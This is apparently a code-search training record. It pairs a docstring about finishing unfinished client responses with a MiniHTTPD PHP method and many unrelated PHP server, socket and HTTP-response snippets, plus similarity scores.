PHP_NORMAL_READ);\n\t\t\t\t\t\t\t$length = substr ($buf, 5, 6);\n\t\t\t\t\t\t\t$buf .= @socket_read($changed_socket, $length-12, PHP_NORMAL_READ);\n \t\t\t\t/*********************************************\n \t\t\t\t* Message from server 0000;000037;%0060;0010;%192.168.100.1\n * unmask[0] = 0000;XXXXXX;\n * unmask[1] = 0060;0010; (the message)\n * unmask[2] = 192.168.xxx.xxx (the controller) or 0 (all controller)\n *********************************************/\n \t\t\t\t$unmask = explode(\"%\", $buf);\n \t\t\t\t$message = $unmask[1];\n $controllerip = $unmask[2];\n echo \"$message to $controllerip\\n\";\n \t\t\t\t\n \t\t\t\tif(isset($clients[$controllerip])) {\n \t\t\t$this->send_message($message, array($clients[$controllerip]));\n } else {\n echo \"Controller isn't connected\\n\";\n }\n \t\t\t} else { //controller to server\n\t\t\t\t\t\t\t$length = substr ($buf, 5, 4);\n\t\t\t\t\t\t\t$buf .= @socket_read($changed_socket, $length-10, PHP_NORMAL_READ);\n \t\t\t\t/*********************************************\n \t\t\t\t* Message from controller\n *********************************************/\n echo \"$ip : $buf\\n\";\n\t\t\t\t\t\t\tif(!in_array(substr($buf,0,4), ['1027', '1012', '1080'])) //ignore these event\n\t\t\t\t\t\t\t\tevent(new EventHappened($buf.\"%\".$ip));\n /* Lupa buat apa\n if (isset($clients[env('APP_IP')])) {\n \t\t\t\t $this->send_message($buf, array($clients[getHostByName(getHostName())]));\n } else {\n echo \"Can't send message to server\\n\";\n }\n */\n \t\t\t}\n }\n \t}\n }\n socket_close($socket);\n }", "protected function setupServers()\n\t{\n\t\t// Create a server definition\n\t\t$testFolder = realpath(__DIR__ . '/../../../test');\n\t\t$port = 8094;\n\t\t$server = new Server($testFolder . '/browser/docroot', 'http://127.0.0.1:' . $port);\n\n\t\t// Device to ensure the two clashing server classes use different PID files\n\t\t$suffix = $this->getSuffix();\n\t\t$server->setServerPidPath(\"/tmp/spiderling-phantom-{$port}-{$suffix}.server.pid\");\n\n\t\t// Delete any existing error notifications\n\t\t@unlink($this->getErrorPathName());\n\n\t\t// Add the server to the list of servers to start\n\t\t$this->addServer($server);\n\t}", "public function run(Server $server = null): void\n {\n $this->startup();\n if ($server) {\n $server->addListener($this);\n $server->start();\n } else {\n $response = $this->handle(ServerRequest::fromGlobals());\n $this->emitter->emit($response);\n if ($response instanceof Response) {\n $response->end();\n }\n }\n\n $this->shutdown();\n }", "public function __construct(IServer $stream) {\n $this->_stream = $stream;\n }", "function init_socket() {\n\t\n\tif( ($sock=socket_create(AF_INET, SOCK_DGRAM, SOL_UDP))<0 ) { \n echo \"failed to create socket: \".socket_strerror($sock).\"\\n\"; \n return -1; \n } \n\t\n\tsocket_set_option( $sock, SOL_SOCKET, SO_RCVTIMEO, array(\"sec\"=>30, \"usec\"=>0) );\n\tsocket_set_option( $sock, SOL_SOCKET, SO_SNDTIMEO, array(\"sec\"=>3, \"usec\"=>0) );\n\t$rval = socket_set_option( $sock, SOL_SOCKET, SO_REUSEADDR, 1 );\n\tif( $rval===false ) {\n\t\techo 'Unable to get socket option: '. socket_strerror(socket_last_error()) . PHP_EOL;\n\t\treturn -1;\n\t}\n\t\n\treturn $sock;\n}", "public function addServer($host, $port, $weight = 0) {}", "public function run()\n {\n $this->server->start();\n }", "public function __construct($sockType=SWOOLE_SOCK_TCP)\n {\n $this->client =new \\Swoole\\Async\\Client($sockType);\n }", "public static function sslSocket(EventBase $base, mixed $socket, EventSslContext $ctx, int $state, int $options = 0): EventBufferEvent {}", "public static function run()\n {\n// $server = IoServer::factory(new WsServer(new WebSocket()), 8080);\n// echo \"websocket do run...\";\n// $server->run();\n// echo \"websocket sever up...\";\n React::runWampServer();\n }", "public function getServerPort()\n {\n return (int)$_SERVER['SERVER_PORT'];\n }", "public function start () {\n $this->cache = new Memcache;\n $this->cache->addServer($this->server, $this->port);\n }", "public function run()\n {\n $serv = new \\swoole_server($this->host, $this->port);\n $serv->set(\n array(\n 'process_name' => 'ershoufang_crawler', //swoole 进程名称\n 'worker_num' => 2,//开启的worker进程数\n 'task_worker_num' => 2,//开启的task进程数\n 'open_cpu_affinity' => true,\n 'daemonize' => false,\n 'max_request' => 10000,\n 'dispatch_mode' => 2,\n 'debug_mode' => 0,\n 'log_file' => 'swoole.log',\n 'open_tcp_nodelay' => true,\n \"task_ipc_mode\" => 2,\n 'task_max_request' => 10000\n )\n );\n\n $serv->on('Start', array($this, 'onStart'));\n $serv->on('Connect', array($this, 'onConnect'));\n $serv->on('Receive', array($this, 'onReceive'));\n $serv->on('WorkerStart', array($this, 'onWorkerStart'));\n $serv->on('Task', array($this, 'onTask'));\n $serv->on('Finish', array($this, 'onFinish'));\n $serv->on('Close', array($this, 'onClose'));\n $serv->start();\n }", "public static function start($config)\n\t{\n\t\t// Add the config\n\t\tif (!is_array($config)) {\n\t\t\ttrigger_error(\"Cannot start server, invalid configuration settings\", E_USER_ERROR);\n\t\t}\n\t\tMHTTPD::addConfig($config);\n\n\t\t// Load the mime types info\n\t\t$mimes = @parse_ini_file(MHTTPD::getExepath().'lib\\minihttpd\\config\\mimes.ini', true);\n\t\tMHTTPD::$config['Mimes'] = array_map('listToArray', $mimes['Mimes']);\n\t\t\n\t\t// Set the initial server info values\n\t\tMHTTPD::$info['software'] = 'MiniHTTPD/'.MHTTPD::VERSION.' ('.php_uname('s').')';\n\t\t$addr = $config['Server']['address'];\n\t\t$port = $config['Server']['port'];\n\t\tMHTTPD::$info['signature'] = 'MiniHTTPD/'.MHTTPD::VERSION.' ('.php_uname('s').\") Server at {$addr} Port {$port}\";\n\t\tMHTTPD::$info['launched'] = time();\n\t\t\n\t\t// Spawn any FCGI processes\n\t\tMFCGI::$debug = MHTTPD::$debug;\n\t\tMFCGI::spawn(null, MHTTPD::$config);\n\t\n\t\t// Load the configured request handlers\n\t\tif (MHTTPD::$debug) {cecho(chrule().\"\\n\");}\n\t\tforeach (MHTTPD::$config['Handlers'] as $type=>$handler) {\n\t\t\tif (class_exists($handler)) {\n\t\t\t\tif (MHTTPD::$debug) {cecho(\"Handler loaded ... $type\\n\");}\n\t\t\t\tMHTTPD::$handlers[$type] = new $handler;\n\t\t\t}\n\t\t}\n\t\t\n\t\t// Create the queue object for the handlers\n\t\tMHTTPD::$handlersQueue = new MHTTPD_Handlers_Queue(MHTTPD::$handlers);\n\t\t\n\t\t// Start running the main loop\n\t\tMHTTPD::$running = true;\n\t\tMHTTPD::main();\n\t}", "public function connect()\r\n {\r\n $this->log( \"Connecting to {$this->_server}:{$this->_port}\" );\r\n \r\n // open the connection\r\n $this->_conn = fsockopen( $this->_server, $this->_port, $errno, $errstr, 10 );\r\n \r\n if ( $this->_conn )\r\n {\r\n $this->log( \"Connected.\" );\r\n \r\n // start processing the data\r\n $this->main();\r\n }\r\n }", "function ts3client_startConnection($serverConnectionHandlerID, $identity, $ip, $port, $nickname, $defaultChannelID, $defaultChannelPassword, $serverPassword) {}" ]
[ "0.66744286", "0.66344595", "0.6532833", "0.6388822", "0.62629676", "0.6219293", "0.62053305", "0.60998553", "0.6059594", "0.6051707", "0.6030889", "0.5921175", "0.5849558", "0.5837673", "0.58367616", "0.5802052", "0.5749525", "0.57254183", "0.5706855", "0.5681658", "0.56767297", "0.56724197", "0.5617779", "0.56036973", "0.5544448", "0.5536868", "0.55252063", "0.5507769", "0.55021137", "0.5493826", "0.54787093", "0.54645085", "0.5460152", "0.54536694", "0.5411922", "0.5369054", "0.5256798", "0.52560365", "0.5252537", "0.5249266", "0.52342725", "0.52342594", "0.52308345", "0.5207345", "0.51809645", "0.5162416", "0.5152236", "0.5146287", "0.5125785", "0.5122324", "0.5078307", "0.5073735", "0.5061055", "0.50585026", "0.50573176", "0.5044984", "0.503527", "0.501946", "0.50038177", "0.49620083", "0.4946322", "0.49414247", "0.4921713", "0.4915012", "0.4910652", "0.48983786", "0.4887262", "0.48561788", "0.4846468", "0.48404726", "0.4821476", "0.4791191", "0.478408", "0.4774803", "0.47552696", "0.47490096", "0.4742737", "0.47420585", "0.47419563", "0.47413376", "0.47264847", "0.4726226", "0.47103867", "0.4699639", "0.4697191", "0.4696733", "0.46932107", "0.46857044", "0.468449", "0.46762776", "0.46728745", "0.46646518", "0.4663754", "0.46620244", "0.4654286", "0.46400207", "0.4636074", "0.4629578", "0.46061024", "0.46014076" ]
0.7015434
0
Handles the client response for any unfinished requests.
protected static function handleResponse(MiniHTTPD_Client $client) { if (!$client->isFinished()) { if ($client->isStreaming() && !$client->hasOpenStream()) { // Finish streaming a static file if (MHTTPD::$debug) {cecho("Client ({$client->getID()}) ... stream ended ");} $client->finish(); } elseif ($client->hasChunkedResponse() && !$client->hasOpenFCGI()) { // Flush any remaining chunked output if ($client->hasResponseContent()) { if (MHTTPD::$debug) {cecho("Client ({$client->getID()}) ... flushing ");} $client->sendResponse(); } // Finish the chunked response if (MHTTPD::$debug) {cecho("Client ({$client->getID()}) ... chunking ended ");} $client->finish(); } elseif (!$client->hasChunkedResponse() && $client->hasOpenFCGI() && !$client->hasBlockingFCGI() && !$client->hasEndedFCGI() ) { // Wait for an FCGI request to be completed (non-blocking response, not chunked) if (MHTTPD::$debug) {cecho("Client ({$client->getID()}) ... waiting for FCGI to complete\n");} return; } elseif (!$client->hasSentHeaders() || $client->hasResponseContent() || $client->hasOpenStream()) { // Send part or all of the response, depending on the type if (MHTTPD::$debug) {cecho("Client ({$client->getID()}) ... sending ");} $client->sendResponse(); } else { // Nothing for the client to do here just now if (MHTTPD::$debug) {cecho("Client ({$client->getID()}) ... doing nothing\n");} } // Complete logging if (!$client->isStreaming() && !$client->hasChunkedResponse()) { if (MHTTPD::$debug) {cecho("... done\n\n");} $client->writeLog(); } } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function _handleResponse(){\n $this->_results[] = array(\n 'http_code' => $this->getInfoHTTPCode(),\n 'response' => $this->getResponse(),\n 'server' => $this->getUrl()\n );\n }", "private function responseHandle() {\n // call hook function\n is_callable(config('hooks.onResponse')) && call_user_func(config('hooks.onResponse'), $this);\n // response data\n $this->responder->output();\n }", "protected function process_response() {\n\t\t\t$this->response['response']['Message'] = isset($this->response['response']['Message']) ? $this->response['response']['Message'] : '';\n\t\t\t$this->response['response']['error'] = (strpos(strtolower($this->response['response']['Message']), 'invalid') !== false) ? true : $this->response['response']['error'];\n\t\t\t$this->response['response']['error'] = (strpos(strtolower($this->response['response']['Message']), 'the item code was specified more than once') !== false) ? true : $this->response['response']['error'];\n\t\t\t$this->response['response']['Level1Code'] = $this->request['Level1Code'];\n\t\t\t\n\t\t\tif (!$this->response['response']['error']) { // IF Error is False\n\t\t\t\tif (in_array($this->response['server']['http_code'], array('200', '201', '202', '204'))) {\n\t\t\t\t\t$this->log_sendlogitem($this->request['Level1Code']);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$this->log_error($this->response['response']['Message']);\n\t\t\t}\n\t\t}", "public function onFinish() {\n\t\t$this->onResponse->executeAll(false);\n\t\tparent::onFinish();\n\t}", "protected function sendResponse() {}", "protected function processing()\n {\n $this->response = $this->response->withStatus(203);\n $this->jsonBody($this->payload->getOutput());\n }", "public function process()\n {\n $this->send_status();\n $this->send_headers();\n $this->send_content();\n exit(0);\n }", "protected function afterResponse()\n {\n }", "protected function _response() {}", "function _handler_response(&$app, &$c) {\n\t\t$c->param('app.view_http.response.status', $this->_http->getResponseCode());\n\t\t$c->param('app.view_http.response.body', $this->_http->getResponseBody());\n\t\t$c->param('app.view_http.response.headers', $this->_http->getResponseHeader());\n\t}", "public function onEndRequest()\n {\n $response = self::getAjaxResponse()->getArray();\n if ($this->getAjaxResponseValidator()->validate($response)) {\n echo json_encode($response);\n }\n }", "public function processResponses() {\n\t\t$receivedResponses = $this->receivedResponseMapper->findAll();\n\t\tforeach ($receivedResponses as $receivedResponse) {\n\t\t\t$requestId = $receivedResponse->getRequestId();\n\t\t\t$answer = $receivedResponse->getAnswer();\n\t\t\n\t\t\t$queuedRequest = $this->queuedRequestMapper->find($requestId);\n\t\t\tif ($queuedRequest) {\n\t\t\t\t$type = $queuedRequest->getRequestType();\n\t\t\t\t$field1 = $queuedRequest->getField1();\n\t\t\t}\n\t\t\telse {\n\t\t\t\t//request no longer exists, so just delete response\n\t\t\t\t$this->receivedResponseMapper->delete($receivedResponse);\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t\n\t\t\tswitch ($type) {\n\t\t\t\tcase Request::USER_EXISTS:\n\t\t\t\t\tif ($answer !== \"1\" AND $answer !== \"0\") {\n\t\t\t\t\t\t$this->api->log(\"ReceivedResponse for Request USER_EXISTS, request_id = {$receivedResponse->getId()} had invalid response = {$answer}\"); \n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tif ($answer === \"0\") {\n\t\t\t\t\t\t$friendships = $this->friendshipMapper->findAllByUser($field1);\n\t\t\t\t\t\tforeach ($friendships as $friendship) {\n\t\t\t\t\t\t\t$this->friendshipMapper->delete($friendship);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$this->api->beginTransaction();\n\t\t\t\t\t//Don't need destination for delete since they should all be this instance\n\t\t\t\t\t$this->receivedResponseMapper->delete($receivedResponse);\n \t\t\t\t\t$this->queuedRequestMapper->delete($receivedResponse);\n\t\t\t\t\t$this->api->commit();\n\t\t\t\t\tbreak;\n\t\t\t\tcase Request::FETCH_USER: \n\t\t\t\t\tif ($answer !== \"1\" AND $answer !== \"0\") {\n\t\t\t\t\t\t$this->api->log(\"ReceivedResponse for Request FETCH_USER, request_id = {$receivedResponse->getId()} had invalid response = {$answer}\"); \n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$this->api->beginTransaction();\n\t\t\t\t\t//Don't need destination for delete since they should all be this instance\n\t\t\t\t\t$this->receivedResponseMapper->delete($receivedResponse);\n \t\t\t\t\t$this->queuedRequestMapper->delete($receivedResponse);\n\t\t\t\t\t$this->api->commit();\n\t\t\t\t\t\n\t\t\t\t\tbreak;\t\n\t\t\t\tdefault:\n\t\t\t\t\t$this->api->log(\"Invalid request_type {$type} for request id {$requestId}\");\n\t\t\t\t\tcontinue;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}", "public function handleExpired()\n {\n $expired = $this->clients->getExpired(AlphaRPC::CLIENT_PING);\n foreach ($expired as $client) {\n $this->reply($client, new TimeoutResponse());\n }\n }", "protected function finalize()\n {\n if (!$this->booted) {\n $this->boot();\n }\n $this->boot($this);\n\n // Set header for OPTIONS and all other routes\n if ($this['router']->getCurrentRoute()) {\n $this['response']->setHeader(\n 'Access-Control-Allow-Methods',\n implode(\n \", \",\n $this['router']->getMethodsAvailable(\n $this['router']->getCurrentRoute()->getPattern()\n )\n )\n );\n }\n\n if (!$this->responded) {\n $this->responded = true;\n\n // Encrypt CookieJar\n if ($this['settings']['cookie::encrypt']) {\n $this['response']->encryptCookies($this['crypt']);\n }\n\n // Send response\n $this['response']->finalize($this['request'])->send();\n }\n }", "public function process()\n {\n if ($this->request->isCancelled() === true) {\n $this->setSessionData();\n $this->response->send();\n return;\n }\n \n $this->interceptorInitializer->setDescriptor($this->processorResolver->getInterceptorDescriptor($this->request))\n ->init();\n foreach ($this->interceptorInitializer->getPreInterceptors() as $preInterceptor) {\n $preInterceptor->preProcess($this->request, $this->session, $this->response);\n if ($this->request->isCancelled() === true) {\n $this->setSessionData();\n $this->response->send();\n return;\n }\n }\n \n $processor = null;\n try {\n $processor = $this->processorResolver->resolve($this->request, $this->session, $this->response);\n $processor->startup(new stubDummyUriRequest($this->request->readHeader('REQUEST_URI')->unsecure()));\n if ($processor->forceSsl() === true && $processor->isSsl() === false) {\n $this->response->addHeader('Location', 'https://' . $this->request->getURI());\n $this->request->cancel();\n $this->response->send();\n return;\n }\n \n $processor->process();\n } catch (stubProcessorException $pe) {\n $this->response->setStatusCode($pe->getStatusCode());\n }\n \n if (null !== $processor) {\n $processor->cleanup();\n }\n \n if ($this->request->isCancelled() === false) {\n foreach ($this->interceptorInitializer->getPostInterceptors() as $postInterceptor) {\n $postInterceptor->postProcess($this->request, $this->session, $this->response);\n if ($this->request->isCancelled() === true) {\n break;\n }\n }\n }\n \n $this->setSessionData();\n $this->response->send();\n }", "public function finish()\n {\n $p = $this->page;\n if ($p->is_ajax_request) {\n exit_json($this->response);\n }\n\n $to = ($_GET['return_uri']) ?: $_SERVER['HTTP_REFERER'];\n $get = ($this->response['status'] == 'OK')\n ? array('status' => 'OK')\n : $this->response;\n\n $get = '?return='.rawurlencode(serialize($get));\n\n $p->redirect($to.$get, 302);\n }", "private function __send_response(){\n http_response_code($this->response_code);\n if($this->_redirect) header(\"Location: \".Config::WEB_DIRECTORY.\"{$this->_redirect_location}\");\n elseif($this->_JSON){\n header('Content-Type: application/json; charset=UTF-8');\n print json_encode($this->_JSON_contents, JSON_PRETTY_PRINT);\n }elseif($this->_HTML){\n if($this->_HTML_load_view) $this->_template->render();\n } /** @noinspection PhpStatementHasEmptyBodyInspection */ else{\n // Do nothing\n }\n }", "public function handle()\n {\n\t //PROCESS FOR QUESTION 4:\n //Single request with error handling:\n \n //Create handler with curl\n $curl = new CurlMultiHandler;\n\t\t$handler = HandlerStack::create($curl);\n\t\t\n\t\t//create client and set custom handler\n\t\t$client = new Client(['handler' => $handler]);\n\t\t\n\t\t$promise = $client->requestAsync('POST', 'https://atomic.incfile.com/fakepost');\n\t\t$promise->then(\n\t\t function (ResponseInterface $result) {\n\t\t\t //Handle success here\n\t\t\t \n\t\t Log::info(\"Correct request\");\n\t\t },\n\t\t function (RequestException $exception) {\n\t\t //Handle error here\n\t\t \n\t\t $error_status_code = \"There was an error with status code: \" . $exception->getResponse()->getStatusCode();\n\t\t\t\t$error_description = \", the error was: \\n\\n\" . $exception->getMessage();\n\t\t\t\t\n\t\t\t\t$error_complete_msg = $error_status_code . $error_description;\n\t\t \n\t\t Log::error($error_complete_msg);\n\t\t }\n\t\t);\n\t\t\n\t\t//this will ensure the reliable delivery of the request\n\t\twhile ($promise->getState() === 'pending') {\n\t\t $curl->tick();\n\t\t \n\t\t //do stuff\n\t\t}\n\t\t\n\t\t//This next line loses kind of a little bit the point of \"asynchrousness\" for only one request: $promise->wait();\n\t\t\n\t\t\n\t\t\n\t\t//------------------------------//\n\t\t\n\t\t\n\t\t//PROCESS FOR QUESTION 5:\n\t\t//Multiple requests with error handling:\n\t\t\n\t\t//This is the number of requests, here you would put the 100k requests\n\t\t$total = 50;\n\t\t$client = new Client();\t\n\t\t\n\t\t//Segment the number of requests in order to not overload the server\n\t\t$concurrency = 10;\n\t\t\n\t\t$pool = new Pool($client, $this->requestGenerator($total), [\n\t\t 'concurrency' => $concurrency,\n\t\t 'fulfilled' => function (Response $response, $index) {\n\t\t\t //Handle success here\n\t\t\t \n\t\t Log::info(\"Correct request\");\n\t\t },\n\t\t 'rejected' => function (RequestException $exception, $index) {\n\t\t\t //Handle error here\n\t\t\t \n\t\t\t\t$error_index = \"There was an error in the request number: \" . ($index + 1) . \", \";\n\t\t\t\t$error_status_code = \"with status code: \" . $exception->getResponse()->getStatusCode();\n\t\t\t\t$error_description = \", the error was: \\n\\n\" . $exception->getMessage();\n\t\t\t\t$error_separator = \"\\n ------------- \\n\";\n\t\t\t\t\n\t\t\t\t$error_complete_msg = $error_index . $error_status_code . $error_description . $error_separator;\n\t\t\t \n\t\t\t\tLog::error($error_complete_msg);\n\t\t\t\t\n\t\t },\n\t\t]);\n\t\t\n\t\t// Start transfers and create promise\n\t\t$promise = $pool->promise();\n\t\t\n\t\t// Force ALL requests to complete.\n\t\t$promise->wait();\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t/*\n\t\t\tYou could also dispatch a queued job for this question 5, \n\t\t\tbut I think that for this case that involves sending HTTP requests (sending email would be a better use, for example), \n\t\t\tqueuing this process loses a bit of sense because the requests are being sent in the\n\t\t\tabove code asynchronously already, so I'll be running an asynchronous process ( the promise ) in an asynchronous way ( queue ):\n\t\t*/\n\t\t\n\t\t\n\t\t//Job sent to a queue called \"requests\", in this case, I'll be using database driver:\n\t\tSendRequests::dispatch()->onQueue('requests');\n\t\t\n\t\t\n }", "private function resetReponse()\n {\n $this->app->singleton(\"response\", function () {\n return new Response();\n });\n }", "protected abstract function handleResponse(View $view);", "public function handle()\n {\n abort(500);\n }", "public function afterAction()\r\n\t\t{\r\n\t\t\t//\r\n\t\t\tif (empty( $this->response )) {\r\n\t\t\t\t//\r\n\t\t\t\t$isNeedRender = !empty( $this->view ) && !$this->view->isRendered();\r\n\t\t\t\t//\r\n\t\t\t\t$this->response = new HttpResponse();\r\n\t\t\t\t//\r\n\t\t\t\tif ( $isNeedRender ) {\r\n\t\t\t\t\t//\r\n\t\t\t\t\t$this->response->setData( $this->view->render() );\r\n\t\t\t\t} else {\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t//\r\n\t\t\tif (!$this->response->isSent()) {\r\n\t\t\t\t//\r\n\t\t\t\t$this->response->send();\r\n\t\t\t}\r\n\t\t}", "function __destruct(){\n try{\n $this->__send_response();\n } catch (\\Exception $e) {\n error_log($e->getCode() . \": \" . $e->getMessage());\n error_log(implode(\"\\n\", $e->getTrace()));\n }\n }", "abstract public function response();", "private function processOptions()\r\n {\r\n $this->response = new Response(null, 200);\r\n }", "public function send_response() {\n\t\n\t\t$return = $this->get_response();\n\t\t\n\t\t/* send it and terminate this instance */\n\t\tif($this->get_errors()) {\n\t\t\twp_send_json_error($return);\t\t\t\t\t\t\n\t\t} else {\n \t\tif( null === $this->wp_query ) {\n \t\t\twp_send_json_success($return); \t\t \t\t\n \t\t} else {\n \t\t\n \t\t\t$data = array(\n \t\t\t'success' => true,\n \t\t\t'data' => $return,\n \t\t\t'query' => $this->parse_wp_query_object_2_js( $this->wp_query )\n \t\t\t);\n \t\t\twp_send_json($data); // build a custom wp_send_json_success with an extra property \n \t\t}\t\t\t\n\t\t}\n\t}", "public function processRequest() {\r\n switch($this->requestMethod) {\r\n case 'GET':\r\n if($this->id) {\r\n $response = $this->get($this->id);\r\n }\r\n else {\r\n $response = $this->getAll();\r\n }\r\n break;\r\n case 'POST':\r\n $response = $this->create();\r\n break;\r\n case 'PUT':\r\n $response = $this->update($this->id);\r\n break;\r\n case 'DELETE':\r\n $response = $this->delete($this->id);\r\n break;\r\n case 'OPTIONS':\r\n break;\r\n default:\r\n $response = $this->notFoundResponse();\r\n break;\r\n }\r\n\r\n header($response['status_code_header']);\r\n\r\n // If there is a body then echo it\r\n if($response['body']) {\r\n echo $response['body'];\r\n }\r\n }", "protected function after()\n\t{\n\t\t$response = $this->app->response();\n\t\t$response['Content-Type'] = \"application/json\";\n\n\t\tif ($this->content !== null)\n\t\t{\n\t\t\t$response->body(\\json_encode($this->content));\n\t\t}\n\t}", "abstract public function handle_request();", "final public function handle()\n {\n \n $this->_preHandle();\n \n if ($this->_request->getActionName() == null) {\n throw new ZendL_Tool_Endpoint_Exception('Endpoint failed to setup the action name.');\n }\n\n if ($this->_request->getProviderName() == null) {\n throw new ZendL_Tool_Endpoint_Exception('Endpoint failed to setup the provider name.');\n }\n \n ob_start();\n \n try {\n $dispatcher = new ZendL_Tool_Rpc_Endpoint_Dispatcher();\n $dispatcher->setRequest($this->_request)\n ->setResponse($this->_response)\n ->dispatch();\n \n } catch (Exception $e) {\n //@todo implement some sanity here\n die($e->getMessage());\n //$this->_response->setContent($e->getMessage());\n return;\n }\n \n if (($content = ob_get_clean()) != '') {\n $this->_response->setContent($content);\n }\n \n $this->_postHandle();\n }", "protected function handleResultRequest() {\n\t\t// no longer letting people in without these things. If this is\n\t\t// preventing you from doing something, you almost certainly want to be\n\t\t// somewhere else.\n\t\t$deadSession = false;\n\t\tif ( !$this->adapter->session_hasDonorData() ) {\n\t\t\t$deadSession = true;\n\t\t}\n\t\t$oid = $this->adapter->getData_Unstaged_Escaped( 'order_id' );\n\n\t\t$request = $this->getRequest();\n\t\t$referrer = $request->getHeader( 'referer' );\n\t\t$liberated = false;\n\t\tif ( $this->adapter->session_getData( 'order_status', $oid ) === 'liberated' ) {\n\t\t\t$liberated = true;\n\t\t}\n\n\t\t// XXX need to know whether we were in an iframe or not.\n\t\tglobal $wgServer;\n\t\tif ( $this->isReturnFramed() && ( strpos( $referrer, $wgServer ) === false ) && !$liberated ) {\n\t\t\t$sessionOrderStatus = $request->getSessionData( 'order_status' );\n\t\t\t$sessionOrderStatus[$oid] = 'liberated';\n\t\t\t$request->setSessionData( 'order_status', $sessionOrderStatus );\n\t\t\t$this->logger->info( \"Resultswitcher: Popping out of iframe for Order ID \" . $oid );\n\t\t\t$this->getOutput()->allowClickjacking();\n\t\t\t$this->getOutput()->addModules( 'iframe.liberator' );\n\t\t\treturn;\n\t\t}\n\n\t\t$this->setHeaders();\n\t\t$userAgent = $request->getHeader( 'User-Agent' );\n\t\tif ( !$userAgent ) {\n\t\t\t$userAgent = 'Unknown';\n\t\t}\n\n\t\tif ( $this->isRepeatReturnProcess() ) {\n\t\t\t$this->logger->warning(\n\t\t\t\t'Donor is trying to process an already-processed payment. ' .\n\t\t\t\t\"Adapter Order ID: $oid.\\n\" .\n\t\t\t\t\"Cookies: \" . print_r( $_COOKIE, true ) . \"\\n\" .\n\t\t\t\t\"User-Agent: \" . $userAgent\n\t\t\t);\n\t\t\t$this->displayThankYouPage( 'repeat return processing' );\n\t\t\treturn;\n\t\t}\n\n\t\tif ( $deadSession ) {\n\t\t\tif ( $this->adapter->isReturnProcessingRequired() ) {\n\t\t\t\twfHttpError( 403, 'Forbidden', wfMessage( 'donate_interface-error-http-403' )->text() );\n\t\t\t\tthrow new RuntimeException(\n\t\t\t\t\t'Resultswitcher: Request forbidden. No active donation in the session. ' .\n\t\t\t\t\t\"Adapter Order ID: $oid.\\n\" .\n\t\t\t\t\t\"Cookies: \" . print_r( $_COOKIE, true ) . \"\\n\" .\n\t\t\t\t\t\"User-Agent: \" . $userAgent\n\t\t\t\t);\n\t\t\t}\n\t\t\t// If it's possible for a donation to go through without our\n\t\t\t// having to do additional processing in the result switcher,\n\t\t\t// we don't want to falsely claim it failed just because we\n\t\t\t// lost the session data. We also don't want to give any\n\t\t\t// information to scammers hitting this page with no session,\n\t\t\t// so we always show the thank you page. We don't want to do\n\t\t\t// any post-processing if we're not sure whether we actually\n\t\t\t// originated this attempt, so we return right after.\n\t\t\t$this->logger->warning(\n\t\t\t\t'Resultswitcher: session is dead, but the ' .\n\t\t\t\t'donor may have made a successful payment.'\n\t\t\t);\n\t\t\t$this->displayThankYouPage( 'dead session' );\n\t\t\treturn;\n\t\t}\n\t\t$this->logger->info( \"Resultswitcher: OK to process Order ID: \" . $oid );\n\n\t\tif ( $this->adapter->checkTokens() ) {\n\t\t\t// feed processDonorReturn all the GET and POST vars\n\t\t\t$requestValues = $this->getRequest()->getValues();\n\t\t\t$result = $this->adapter->processDonorReturn( $requestValues );\n\t\t\t$this->markReturnProcessed();\n\t\t\t$this->renderResponse( $result );\n\t\t\treturn;\n\t\t} else {\n\t\t\t$this->logger->error( \"Resultswitcher: Token Check Failed. Order ID: $oid\" );\n\t\t}\n\t\t$this->displayFailPage();\n\t}", "public function process()\n {\n \t$client = $this->client->getClient();\n\n \ttry {\n $response = $client->get($this->buildUrl());\n return new ResponseJson((string)$response->getBody(), true);\n } catch (RequestException $e) {\n return new ResponseJson((string)$e->getResponse()->getBody(), false);\n }\n }", "public static function client_responce()\n {\n // Find out Request Type\n $req_type = self::client_request_type();\n\n // Fire Responce\n self::{$req_type}();\n\n // End..\n die();\n }", "public function completeRequest()\n {\n if (kodexy()->database->isConnected())\n {\n kodexy()->database->disconnect();\n }\n \n exit;\n }", "function process() {\n\t\t\t$response = $this->response();\n\t\t\t$this->setSuccess($response);\n\t\t\treturn $this->responseVar;\n\t\t}", "public function after()\n\t{\n\t\t// Set headers to not cache anything\n\t\t$this->response->headers('cache-control', 'no-cache, no-store, max-age=0, must-revalidate');\n\n\t\t// Set the content-type header\n\t\t$this->response->headers('content-type', 'application/json');\n\n\t\t// Set and encode the body data\n\t\t$this->response->body(json_encode($this->body));\n\t}", "public function run() {\n $base = $this->request->getNextRoute();\n if ($base !== BASE) {\n $this->response->notFound();\n }\n $start = $this->request->getNextRoute();\n if ($rs = $this->getRs($start)) {\n if ($this->request->isOptions()) {\n $this->response->okEmpty();\n return;\n }\n try {\n $this->response->ok($rs->handleRequest());\n\n } catch (UnauthorizedException $e) {\n $this->response->unauthorized();\n\n } catch (MethodNotAllowedException $e) {\n $this->response->methodNotAllowed();\n\n } catch (BadRequestExceptionInterface $e) {\n $this->response->badRequest($e->getMessage());\n\n } catch (UnavailableExceptionInterface $e) {\n $this->response->unavailable($e->getMessage());\n\n } catch (Exception $e) {\n $this->response->unavailable($e->getMessage());\n }\n } else {\n $this->response->badRequest();\n }\n }", "function erase_response() {\n $this->performed = FALSE;\n $this->response = new Trails_Response();\n }", "public function requestHasBeenHandled()\n {\n $this->requestHandled = true;\n }", "public function handleRequest() {}", "public static function response(Response $response): never\n {\n static::abort(null, null, null, $response);\n }", "public function return_handler() {\n\t\t@ob_clean();\n\t\theader( 'HTTP/1.1 200 OK' );\n\n\t\tif ( isset( $_REQUEST['reference'] ) && isset( $_REQUEST['paymentId'] ) && isset( $_REQUEST['signature'] ) ) {\n\t\t\t$signature = strtoupper( md5( $_REQUEST['amount'] . $_REQUEST['reference'] . $_REQUEST['paymentId'] . $_REQUEST['paymentDate'] . $_REQUEST['paymentStatus'] . $this->private_key ) );\n\t\t\t$order_id = absint( $_REQUEST['reference'] );\n\t\t\t$order = wc_get_order( $order_id 